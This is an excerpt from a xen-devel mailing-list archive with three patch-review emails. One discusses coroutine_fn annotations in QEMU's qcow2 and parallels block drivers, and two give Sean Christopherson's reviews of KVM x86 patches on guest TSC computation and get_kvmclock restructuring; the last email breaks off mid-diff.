        d=redhat.com; s=google; t=1784928027; x=1785532827; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:from:to:cc:subject
         :date:message-id:reply-to:content-type;
        bh=/2m0dqcoMneC3Zf15VEtk2J/x4FvDYNzHSWnoIQbyCM=;
        b=MmytH1IcACCRHiL3a47Ua8/bLGZShiIrhCQVPHZe1/QcnJr/HR9BsTg8x3pRnsFpWy
         cGQHa4e/Y5k8KY/jtOLaiIprC9LLcXfO1qP5u2oI3OjSxJ1Pely7Gc7ihat08bvPyx6e
         ShNhW+RJvVCpFMUMqLKYPng6JGhGSkA8XUpiGVgvJSbFBIlcwh7ycPWjZaBWo2zM5oMN
         Z9L2sBiYV7bAZCdGwGddWhUPBAbNaAlNmWwf75T0zmq1hvP3dCFhc1FIKqAEJkmzsDao
         7zTebBuTnd4i9T7poPT4Ogl7xeXwEeR1QB0AW+YU2y1+P63hGSKihdBK8vGeyqHLoHIH
         CcBA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784928027; x=1785532827;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=/2m0dqcoMneC3Zf15VEtk2J/x4FvDYNzHSWnoIQbyCM=;
        b=epDxtpFdkIny0ukvaWk6xZJDNZIdC5nTGZnuA8WoS6pItFVPcDbSVLuX8tfH/yOnca
         hXuEjPeU/+6ZYCyXHc9RveGT75lr7a7o0awCUnlZRfbvrTRIqOTRANO9LCWibw/aWnQT
         0B/+6U2wSzURUuR2daEnGgMe3k0s00EXCoNlami/onXpUyvdID5Z+vLDGqribGqQMt+i
         nfGnOgTHFUjHKrzoCjNTIN8/Vri1MZO6flX34xqw7GDHJO/tuCWyOukdJkPShmO8WCgT
         xz326B4C4mGtT/j9vRB62hkBN15/P5SsPw836LKwE47HP9rs2uUh2ryHSUwWhreIsDBI
         Xc7A==
X-Forwarded-Encrypted: i=1; AHgh+RrsXY2TEGHhvHIloz3WjDWswlVFZIhcPi59oWJF1Cx1QEIS1FIIbdzEx8xqpFOvGtCj48AqgluniF4=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxCoCjWen1CePPb/wWMp2UfFfGB3wATQmQN1q4FOYTvJ5qVnZbz
	RRs+ZdBLGbVi5dFyPJAr43GWnYMnEzjGVXkDq6Ixzoj8tvRRGUxnfjWy+XHucJ/cM6yxdNJguRI
	TX44iV9+9jUb11JY7BZpq6jZU1rNA8MA=
X-Gm-Gg: AR+sD122yxPachoX5Mne0hkhJrgMYBc7VjvXPD8ns97U9rVTrOVJyMPyRoBAFtnFItz
	+kJPOXAEYsaMhhLSHMKQH8VWB/81DwFr7v7SYgS2akmZQ9l0TTwqcKLZLYjmQ3Xa64UXooAz9nP
	8RExhCKC07RGSnqwl4IHc44SoV8ox+iEsujj4eWmkmv+YrCSJKcWwiZEsvz6LutpSCj5klt4Qp+
	jadLlpKl57n4vx4XPFBZ4FjWSyzGse+4eb45MlzHfKXoi8lOC1EweIxKM+CT90tDBwe3FCjwAOu
	/D38NQlnsxH4WIsVYw==
X-Received: by 2002:a05:6a21:2e02:b0:3bf:8604:9a3c with SMTP id
 adf61e73a8af0-3c67da8d681mr56518637.28.1784928027076; Fri, 24 Jul 2026
 14:20:27 -0700 (PDT)
MIME-Version: 1.0
References: <20260720-co-v1-0-fabb4db3c204@redhat.com> <20260720-co-v1-6-fabb4db3c204@redhat.com>
 <amNmcTIfZT0OFpkB@redhat.com>
In-Reply-To: <amNmcTIfZT0OFpkB@redhat.com>
From: =?UTF-8?B?TWFyYy1BbmRyw6kgTHVyZWF1?= <marcandre.lureau@redhat.com>
Date: Sat, 25 Jul 2026 01:20:14 +0400
X-Gm-Features: AUfX_mxsI_64kq8171cFbZT8qZ79qBeV5buGN6-oXL7LsfnfAmcoPqSLGoAWWgs
Message-ID: <CAJ+F1CJ-fO719E=LSi6TWXC8wV6uZ-=0ereP_AgnNZQOaJZdNw@mail.gmail.com>
Subject: Re: [PATCH 6/8] block: add missing coroutine_fn annotations
To: Kevin Wolf <kwolf@redhat.com>
Cc: qemu-devel@nongnu.org, Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, 
	Fabiano Rosas <farosas@suse.de>, =?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
	John Snow <jsnow@redhat.com>, Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
	Hanna Reitz <hreitz@redhat.com>, qemu-block@nongnu.org, 
	Stefan Hajnoczi <stefanha@redhat.com>, Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
	Christian Schoenebeck <qemu_oss@crudebyte.com>, Greg Kurz <groug@kaod.org>, 
	"Michael S. Tsirkin" <mst@redhat.com>, Stefano Stabellini <sstabellini@kernel.org>, 
	Anthony PERARD <anthony@xenproject.org>, "Edgar E. Iglesias" <edgar.iglesias@gmail.com>, 
	xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-c201ff/1784928029-716AD2A1-2D72AC7C/0/0
X-purgate-type: clean
X-purgate-size: 3541

Hi

On Fri, Jul 24, 2026 at 5:20=E2=80=AFPM Kevin Wolf <kwolf@redhat.com> wrote=
:
>
> Am 20.07.2026 um 09:55 hat Marc-Andr=C3=A9 Lureau geschrieben:
> > The functions call coroutine functions or are called by coroutine.
>
> That it's called only by coroutines isn't a reason to make a function
> coroutine_fn as long as it theoretically could be called by
> non-coroutine code and it would still work fine (i.e. it doesn't yield).
>
> > Add an assert() in qcow2_do_close() code path which calls a
> > no_coroutine_fn bdrv_graph_wrlock_drained().
> >
> > Signed-off-by: Marc-Andr=C3=A9 Lureau <marcandre.lureau@redhat.com>
>
> > diff --git a/block/parallels.c b/block/parallels.c
> > index 7a90fb5220b..46a6e8f2743 100644
> > --- a/block/parallels.c
> > +++ b/block/parallels.c
> > @@ -142,8 +142,9 @@ static uint32_t host_cluster_index(BDRVParallelsSta=
te *s, int64_t off)
> >      return off / s->cluster_size;
> >  }
> >
> > -static int64_t block_status(BDRVParallelsState *s, int64_t sector_num,
> > -                            int nb_sectors, int *pnum)
> > +static int64_t coroutine_fn
> > +block_status(BDRVParallelsState *s, int64_t sector_num,
> > +             int nb_sectors, int *pnum)
> >  {
> >      int64_t start_off =3D -2, prev_end_off =3D -2;
> >
>
> Specifically this hunk is unclear to me.
>
> As far as I can see, block_status() can't yield. Why did you add the
> coroutine_fn marker here, but not e.g. for seek_to_sector() or
> cluster_remainder(), which are only called by block_status() and
> therefore also always only in coroutine context?
>

Indeed, that's a wrong annotation I added

> I believe the right way to stay consistent is to leave all of them
> unmarked because there is no fundamental reason why they would only make
> sense in coroutine context.
>
> > diff --git a/block/qcow2.c b/block/qcow2.c
> > index 19271b10a49..161626fa3cb 100644
> > --- a/block/qcow2.c
> > +++ b/block/qcow2.c
> > @@ -1287,9 +1287,10 @@ fail:
> >  }
> >
> >  /* s_locked specifies whether s->lock is held or not */
> > -static void qcow2_update_options_commit(BlockDriverState *bs,
> > -                                        Qcow2ReopenState *r,
> > -                                        bool s_locked)
> > +static void coroutine_fn
> > +qcow2_update_options_commit(BlockDriverState *bs,
> > +                            Qcow2ReopenState *r,
> > +                            bool s_locked)
> >  {
> >      BDRVQcow2State *s =3D bs->opaque;
> >      int i;
> > @@ -2126,7 +2127,8 @@ fail:
> >      return ret;
> >  }
> >
> > -static void qcow2_reopen_commit(BDRVReopenState *state)
> > +static void coroutine_fn
> > +qcow2_reopen_commit(BDRVReopenState *state)
> >  {
> >      BDRVQcow2State *s =3D state->bs->opaque;
> >
>
> This doesn't match the declaration of the .bdrv_reopen_commit callback
> in BlockDriver, and as far as I can see, the callers are actually
> guaranteed to _not_ be in coroutine context.
>
> If this is true, qcow2_update_options_commit() should probably be marked
> coroutine_mixed_fn and this one stay unannotated or no_coroutine_fn.

it calls qcow2_update_options_commit(), which itself calls coroutine
cache_clean_timer_co_locked_del_and_wait(bs).

But since s_locked is false, the function is safe it call in non-coroutine.

Given that there are 2 callers, I suggest we move the coroutine call
outside and drop the annotation.


>
> The other parts of the patch looks correct.
>
> Kevin
>
>


From xen-devel-bounces@lists.xenproject.org Fri Jul 24 21:27:20 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 21:27:20 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370254.1618490 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnNQH-0003rN-4w; Fri, 24 Jul 2026 21:27:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370254.1618490; Fri, 24 Jul 2026 21:27:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnNQH-0003rG-21; Fri, 24 Jul 2026 21:27:13 +0000
Received: by outflank-mailman (input) for mailman id 1370254;
 Fri, 24 Jul 2026 21:27:11 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3rNhjagYKCUc1njwslpxxpun.lxv6nw-mn4nuur121.6nwy0xsnl2.x0p@flex--seanjc.bounces.google.com>)
 id 1wnNQF-0003rA-Ic
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 21:27:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnNQE-007pcT-Qq
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 23:27:10 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3rNhjagYKCUc1njwslpxxpun.lxv6nw-mn4nuur121.6nwy0xsnl2.x0p@flex--seanjc.bounces.google.com>)
 id 6a63d881-bab6-0a2a0a5309dd-0a2a4508c37a-24
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 23:27:10 +0200
Received: from [209.85.214.197] (helo=mail-pl1-f197.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3rNhjagYKCUc1njwslpxxpun.lxv6nw-mn4nuur121.6nwy0xsnl2.x0p@flex--seanjc.bounces.google.com>)
 id 6a63d8ad-f659-0a2a45080019-d155d6c5a98e-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 23:27:10 +0200
Received: by mail-pl1-f197.google.com with SMTP id
 d9443c01a7336-2ce7dff6253so18347505ad.1
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 14:27:10 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1784928429; x=1785533229; darn=lists.xenproject.org;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=d2YqZmtuvGxd8cFmldbiTst55L0tz2Lc3p3TSw+Vcco=;
        b=tszXOeNDk58ySM/s5lrRWgqju9a9w+oRGLGZkmcoERwyX7nwVLccjNTEm25okbXrIu
         P7KTHHazLXzNtZ3vI2N0xyhwUzkX8ZgiAFV+tyNSgTQApeP5lw2ZvZuEy0/GGBG8m+gQ
         ZS+yE1Ok3ksyGNXenQ6bczMZICnVcwCYapNgAp+frOUSQtLuKQSxyiQsyYGO9lWnj94M
         LomaAPNhHNVFMoEal9HYx9M1cJKoXUsf7FHLqjjvczR8YF/7E83gR+NvZ1AytadlVWPa
         rox4AJlZkMAdIj8nrgddbMMMBfumrrAzkoK0Ey0DB6xK2IAlQmkXyPoIcxma7ceW/S3r
         e13A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784928429; x=1785533229;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=d2YqZmtuvGxd8cFmldbiTst55L0tz2Lc3p3TSw+Vcco=;
        b=hLKkyqujw/cSaqalrCOSesyagaCS/90i/qvxttP9Y/BC2eZ9n/lqLsYy2nHK7jQOzb
         VyiKr/BC4W6PrY8rsKQHKKpYAUF4yB3W11Ra83PggoL0vo2Un6cDlkwCx+GYZp7CkEFw
         wSBRUNw7x/91svtmtSy1TLL/2XPpsLVheIMt3eUpMa4BxxqOJq8OAT5CCvuh9J0gMbyw
         KC6WbfLoTAvp4ZamJ5KX0t+oQPB6hIRUzVFu/qTMdT2Ii+KNGxsq2hYUz/g7eOswMmMo
         LyB+lqmaXRuBVsEWyG6I/xcPc5zMph3Ea9CVzdQYJJDAWbpea5gXDvCqJv1fZvMu+3p+
         PVTw==
X-Forwarded-Encrypted: i=1; AHgh+RpedR36ut/1d5oFXLYu1dSTTCXkjnqLyDMpgE9XRQHOuwEd7/OYN+kmmaGBJQWWlSguHLAx9XFi7oM=@lists.xenproject.org
X-Gm-Message-State: AOJu0YwIFIDvgvQZazb6mcjYl3jUUr10LPp9NLumIM5/eDCX2Jao37Dl
	z+sP0NAyvEkwF06R0ksvDRvs062iQlzs9upsG5PJtkmmdXd6c1kEi6pGbfIJE0+rSwhp7/4cmbg
	g8WKQ8w==
X-Received: from plbv14.prod.google.com ([2002:a17:903:44ce:b0:2ca:d6eb:2a36])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a17:903:440c:b0:2cf:41ba:96c2
 with SMTP id d9443c01a7336-2cfd795e2acmr17770105ad.12.1784928428452; Fri, 24
 Jul 2026 14:27:08 -0700 (PDT)
Date: Fri, 24 Jul 2026 14:27:07 -0700
In-Reply-To: <20260703212145.343527-16-dwmw2@infradead.org>
Mime-Version: 1.0
References: <20260703212145.343527-1-dwmw2@infradead.org> <20260703212145.343527-16-dwmw2@infradead.org>
Message-ID: <amPYq48J9TPbmFNl@google.com>
Subject: Re: [PATCH v6 15/36] KVM: x86: Fix compute_guest_tsc() to handle
 negative time deltas
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="us-ascii"
X-purgate-ID: tlsNG-c1860d/1784928430-D594A87B-1B8F9513/0/0
X-purgate-type: clean
X-purgate-size: 2392

On Fri, Jul 03, 2026, David Woodhouse wrote:
> From: David Woodhouse <dwmw@amazon.co.uk>
> 
> The compute_guest_tsc() function computes the guest TSC at a given
> kernel_ns timestamp. When the master clock reference point
> (master_kernel_ns) is earlier than vcpu->arch.this_tsc_nsec, the delta
> is negative. Since pvclock_scale_delta() takes a u64, the negative
> value wraps to a huge positive number, producing a wildly wrong result.
> 
> Handle negative deltas explicitly by negating the delta, scaling it,
> and subtracting from this_tsc_write.

Does this need 

  Cc: stable@vger.kernel.org

or is this a "technically a bug fix, but can't happen in practice" sort of thing?

> 
> Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
> ---
>  arch/x86/kvm/x86.c | 20 +++++++++++++++-----
>  1 file changed, 15 insertions(+), 5 deletions(-)
> 
> diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
> index 376b8dc2ade9..55fb19fb7a88 100644
> --- a/arch/x86/kvm/x86.c
> +++ b/arch/x86/kvm/x86.c
> @@ -2588,11 +2588,21 @@ static int kvm_set_tsc_khz(struct kvm_vcpu *vcpu, u32 user_tsc_khz)
>  
>  static u64 compute_guest_tsc(struct kvm_vcpu *vcpu, s64 kernel_ns)
>  {
> -	u64 tsc = pvclock_scale_delta(kernel_ns-vcpu->arch.this_tsc_nsec,
> -				      vcpu->arch.virtual_tsc_mult,
> -				      vcpu->arch.virtual_tsc_shift);
> -	tsc += vcpu->arch.this_tsc_write;
> -	return tsc;
> +	s64 delta_ns = kernel_ns - vcpu->arch.this_tsc_nsec;
> +	u64 tsc;
> +
> +	/* Handle negative deltas gracefully (master clock ref may be earlier) */
> +	if (delta_ns < 0) {
> +		tsc = pvclock_scale_delta(-delta_ns,
> +					  vcpu->arch.virtual_tsc_mult,
> +					  vcpu->arch.virtual_tsc_shift);
> +		return vcpu->arch.this_tsc_write - tsc;
> +	}
> +
> +	tsc = pvclock_scale_delta(delta_ns,
> +				  vcpu->arch.virtual_tsc_mult,
> +				  vcpu->arch.virtual_tsc_shift);
> +	return vcpu->arch.this_tsc_write + tsc;

To cut down on the duplicate code, and IMO to make it easier to identify the
differences, how about this?

	s64 delta_ns = kernel_ns - vcpu->arch.this_tsc_nsec;
	u64 tsc;
	
	/* Handle negative deltas gracefully (master clock ref may be earlier) */
	tsc = pvclock_scale_delta(abs(-delta_ns),
				  vcpu->arch.virtual_tsc_mult,
				  vcpu->arch.virtual_tsc_shift);

	return vcpu->arch.this_tsc_write + (delta_ns >= 0 ? tsc : -tsc);


From xen-devel-bounces@lists.xenproject.org Fri Jul 24 21:29:48 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 21:29:48 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1370262.1618501 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnNSl-0004XV-HR; Fri, 24 Jul 2026 21:29:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1370262.1618501; Fri, 24 Jul 2026 21:29:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wnNSl-0004XN-DO; Fri, 24 Jul 2026 21:29:47 +0000
Received: by outflank-mailman (input) for mailman id 1370262;
 Fri, 24 Jul 2026 21:29:46 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <3R9ljagYKCeIWIERNGKSSKPI.GSQbIR-HIZIPPMWXW.bIRTVSNIGX.SVK@flex--seanjc.bounces.google.com>)
 id 1wnNSk-0004XH-Dk
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 21:29:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wnNSj-00CuM6-GT
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 23:29:45 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <3R9ljagYKCeIWIERNGKSSKPI.GSQbIR-HIZIPPMWXW.bIRTVSNIGX.SVK@flex--seanjc.bounces.google.com>)
 id 6a63d917-2eae-0a2a0a5409dd-0a2a450692e8-48
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 23:29:45 +0200
Received: from [209.85.215.197] (helo=mail-pg1-f197.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <3R9ljagYKCeIWIERNGKSSKPI.GSQbIR-HIZIPPMWXW.bIRTVSNIGX.SVK@flex--seanjc.bounces.google.com>)
 id 6a63d948-195a-0a2a45060019-d155d7c5ccc4-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 23:29:45 +0200
Received: by mail-pg1-f197.google.com with SMTP id
 41be03b00d2f7-c85798977dcso1314594a12.0
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 14:29:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=google.com header.i="@google.com" header.h="Content-Type:Cc:To:From:Subject:Message-ID:References:Mime-Version:In-Reply-To:Date"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20251104; t=1784928583; x=1785533383; darn=lists.xenproject.org;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=LeEjIRradrtHITbFsKRpe0yq9gWXW7YqA8y6Nt7MYfg=;
        b=vwvmg3+u/1yZewrDzfRLZB3xI6efUsrIGDcBsPdesWcEFo2IzQvK5CHGXTYXIVGXWB
         xO5KpAt1s/Ae6D2iELDJ+W+m1byTn80DBsLD3GXzShBAUhPbGfUWJQzOecVNc/Tdi4/w
         xyZe05SLvvicz9FGOJ6pvYzL8yIeaVz7jN96q0TXTb63Rck0HoGnd28yVxL9lOOPiK3M
         5kqN+py5y0IXXvfJo3V3MVrIqkMu8H5B3nC+Thj0znEsmkfLp/aN1Lcg4/2yLrrWB12w
         sXapSkofKDQSigtskXU3MCvWHy9r/bspTcTokrtJ9kPnRc6DM0fcFD2Oa7Q0iebcRu+H
         Znyg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784928583; x=1785533383;
        h=content-type:cc:to:from:subject:message-id:references:mime-version
         :in-reply-to:date:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=LeEjIRradrtHITbFsKRpe0yq9gWXW7YqA8y6Nt7MYfg=;
        b=k02e7H2tKPEuoWO/o3SLBHA25rLVzr5PoQyp+Oa3ggzO4wT9s9EFKJeGitEqLi83j7
         jrs7bit+1fc5+PiKtwEoOsH7Fw07G2ysNWxXrrwAYMkV5SnkbZuoNWX9JJ8U8dma4fWe
         Sdc4HZk0W/HFwnIafcKhF7QqVcQz7e7AN5XNp4kRdgtzRqzasakwy6tE8paioUrx3vW6
         EPdLxWdjM2j17p/OLIbrmZ/53vprLnBlUCxcmWauoYwjk2Ls8QMfPhGJvg+l24KakSZl
         xHAtWOuYSz1Wc9YLqJe2/WnPKoTb2VFop2gn9zOXXinwlTWSEWPsGNxLifqGWtMVu160
         4BgQ==
X-Forwarded-Encrypted: i=1; AHgh+RrpEkyBzE37JMa/pBWnh22fJCEabsoo5VrB3XanbBnA7GrLYNK5G1EkWhBSs4lEC3HjoF8lHsFSwog=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yw5t6KxPsc5gn/p8sJC61IwPT+yByfYGDSsvdlxXqZSYRGEQ0ad
	voHdIZ059+zeCH155LtixCjTV3fDExtu2yWUNjwOZGbL3gsTD2a/4l4FXaOO+zek05V0XlLxDuA
	lBXQXYA==
X-Received: from pgbcm9.prod.google.com ([2002:a05:6a02:a09:b0:c85:8035:8b21])
 (user=seanjc job=prod-delivery.src-stubby-dispatcher) by 2002:a05:6a20:d52b:b0:3c3:e411:418a
 with SMTP id adf61e73a8af0-3c67e164e76mr39234637.70.1784928583222; Fri, 24
 Jul 2026 14:29:43 -0700 (PDT)
Date: Fri, 24 Jul 2026 14:29:42 -0700
In-Reply-To: <20260703212145.343527-13-dwmw2@infradead.org>
Mime-Version: 1.0
References: <20260703212145.343527-1-dwmw2@infradead.org> <20260703212145.343527-13-dwmw2@infradead.org>
Message-ID: <amPZRkxTLE-rZcJf@google.com>
Subject: Re: [PATCH v6 12/36] KVM: x86: Restructure get_kvmclock()
From: Sean Christopherson <seanjc@google.com>
To: David Woodhouse <dwmw2@infradead.org>
Cc: Paolo Bonzini <pbonzini@redhat.com>, Jonathan Corbet <corbet@lwn.net>, 
	Shuah Khan <skhan@linuxfoundation.org>, Thomas Gleixner <tglx@kernel.org>, 
	Ingo Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, 
	Dave Hansen <dave.hansen@linux.intel.com>, x86@kernel.org, 
	"H. Peter Anvin" <hpa@zytor.com>, Vitaly Kuznetsov <vkuznets@redhat.com>, Juergen Gross <jgross@suse.com>, 
	Boris Ostrovsky <boris.ostrovsky@oracle.com>, Paul Durrant <paul@xen.org>, 
	Jonathan Cameron <jic23@kernel.org>, Sascha Bischoff <Sascha.Bischoff@arm.com>, 
	Marc Zyngier <maz@kernel.org>, Joey Gouly <joey.gouly@arm.com>, Jack Allister <jalliste@amazon.com>, 
	Dongli Zhang <dongli.zhang@oracle.com>, joe.jin@oracle.com, kvm@vger.kernel.org, 
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org, 
	xen-devel@lists.xenproject.org, linux-kselftest@vger.kernel.org
Content-Type: text/plain; charset="us-ascii"
X-purgate-ID: tlsNG-16d1c6/1784928585-FEA7477B-C1BFE47A/0/0
X-purgate-type: clean
X-purgate-size: 4002

On Fri, Jul 03, 2026, David Woodhouse wrote:
> From: David Woodhouse <dwmw@amazon.co.uk>
> 
> Simplify the use_master_clock condition: the open-coded CONSTANT_TSC ||
> cpu_tsc_khz check is unnecessary since use_master_clock can only be true
> when the host clocksource is TSC based, which in turn requires a stable,
> constant and synchronised TSC across all CPUs.
> 
> Given that, the get_cpu()/put_cpu() pinning is not needed either: both
> the TSC read and get_cpu_tsc_khz() are CPU-independent when the master
> clock is in use, so drop them.
> 
> Wrap the entire use_master_clock block in #ifdef CONFIG_X86_64, since
> use_master_clock is never true on 32-bit (host_tsc_clocksource is only
> set under CONFIG_X86_64), and declare hv_clock inside the block so it is
> not left as an unused variable on 32-bit.
> 
> Use 'continue' on the master-clock success path so the non-master-clock
> computation becomes the common tail, avoiding a goto and label. When the
> clock read fails (e.g. clocksource transitioning away from TSC), fall
> back to that path rather than proceeding with uninitialised data or
> spinning in the seqcount loop.

Please split this up.  The changelog suggests there are at least three logical
changes here.  Yeah, the series is big, but smaller patches helps with review,
even if it results in more total patches.

> Signed-off-by: David Woodhouse <dwmw@amazon.co.uk>
> ---
>  arch/x86/kvm/x86.c | 42 ++++++++++++++++++++----------------------
>  1 file changed, 20 insertions(+), 22 deletions(-)
> 
> diff --git a/arch/x86/kvm/x86.c b/arch/x86/kvm/x86.c
> index 50f088570dab..37b1f8192842 100644
> --- a/arch/x86/kvm/x86.c
> +++ b/arch/x86/kvm/x86.c
> @@ -3203,40 +3203,38 @@ static unsigned long get_cpu_tsc_khz(void)
>  static void get_kvmclock(struct kvm *kvm, struct kvm_clock_data *data)
>  {
>  	struct kvm_arch *ka = &kvm->arch;
> -	struct pvclock_vcpu_time_info hv_clock;
>  	unsigned int seq;
>  
>  	do {
>  		seq = read_seqcount_begin(&ka->pvclock_sc);
>  
> -		/* both __this_cpu_read() and rdtsc() should be on the same cpu */
> -		get_cpu();
> -
>  		data->flags = 0;
> -		if (ka->use_master_clock &&
> -		    (static_cpu_has(X86_FEATURE_CONSTANT_TSC) || __this_cpu_read(cpu_tsc_khz))) {
>  #ifdef CONFIG_X86_64
> +		if (ka->use_master_clock) {
> +			struct pvclock_vcpu_time_info hv_clock;
>  			struct timespec64 ts;
>  
>  			if (kvm_get_walltime_and_clockread(&ts, &data->host_tsc)) {
>  				data->realtime = ts.tv_nsec + NSEC_PER_SEC * ts.tv_sec;
